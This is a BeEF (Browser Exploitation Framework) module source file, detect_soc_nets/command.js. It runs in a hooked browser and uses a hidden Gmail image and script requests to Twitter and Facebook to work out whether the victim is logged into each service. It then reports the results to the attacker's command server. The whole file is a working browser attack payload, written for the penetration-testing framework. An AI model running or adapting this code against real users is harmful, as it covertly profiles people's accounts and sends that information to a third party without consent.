Path: blob/master/modules/network/detect_soc_nets/command.js
1866 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var facebookresult = "";9var twitterresult = "";1011if (document.getElementById('gmailimg')) {12return "Img has already been created";13}1415var img = new Image();16img.setAttribute("style","visibility:hidden");17img.setAttribute("width","0");18img.setAttribute("height","0");19img.src = 'https://mail.google.com/mail/photos/img/photos/public/AIbEiAIAAABDCKa_hYq24u2WUyILdmNhcmRfcGhvdG8qKDI1ODFkOGViM2I5ZjUwZmZlYjE3MzQ2YmQyMjAzMjFlZTU3NjEzOTYwAZwSCm_MMUDjh599IgoA2muEmEZD?'+ new Date();20img.id = 'gmailimg';21img.setAttribute("attr","start");22img.onerror = function() {23this.setAttribute("attr","error");24};25img.onload = function() {26this.setAttribute("attr","load");27};282930document.body.appendChild(img);3132$j.ajax({33url: "https://twitter.com/account/use_phx?setting=false&format=text",34dataType: "script",35cache: "false",36complete: function(one, two) {37if (two == "success") {38twitterresult = "User is NOT authenticated to Twitter (response:"+two+")";39} else if (two == "timeout") {40twitterresult = "User is authenticated to Twitter (response:"+two+")";41}42},43timeout: <%= @timeout %>44});4546$j.ajax({47url: "https://www.facebook.com/imike3",48dataType: "script",49cache: "false",50error: function(one, two, three) {51facebookresult = "User is NOT authenticated to Facebook";52},53success: function(one, two, three) {54facebookresult = "User is authenticated to Facebook";55},56timeout: <%= @timeout %>57});5859setTimeout(function() {60var img2 = document.getElementById('gmailimg');61if (img2.getAttribute("attr") == "error") {62beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is NOT authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);63} else if (img2.getAttribute("attr") == "load") {64beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);65} else if (img2.getAttribute("attr") == "start") {66beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=Browser timed out. Cannot determine if user is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);67};68document.body.removeChild(img2);69img = null;70img2 = null;71}, <%= @timeout %>+3000);7273});747576